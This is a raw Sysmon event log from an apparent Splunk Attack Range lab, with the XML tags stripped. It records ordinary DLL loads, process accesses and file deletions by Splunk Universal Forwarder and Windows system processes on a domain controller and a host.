CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000055768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000055766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000055765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000055764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000055759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000055754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.314{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.315{7BD73061-74A5-613B-9D0B-00000000F001}4932C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:17.215{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7A3AD65A03F2B019C75532793C12065,SHA256=255AEB0BBC0E9B96390E9160FC4D4F97A186362D53588FB9B0797B8F3694325F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017923Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:18.716{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=561E509939996C05CD44915F12722A70,SHA256=B7D9A0BE7CFF22A133647F687CE7E39EB5A7BA127DB2EA4E71D367586AC0960F,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000055908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.883{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000055907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.883{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.883{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000055905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000055902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000055901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000055900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000055899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000055898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.683{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000055897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.680{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000055896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.680{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.679{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.679{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:18.661{7BD73061-74A6-613B-9F0B-00000000F001}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 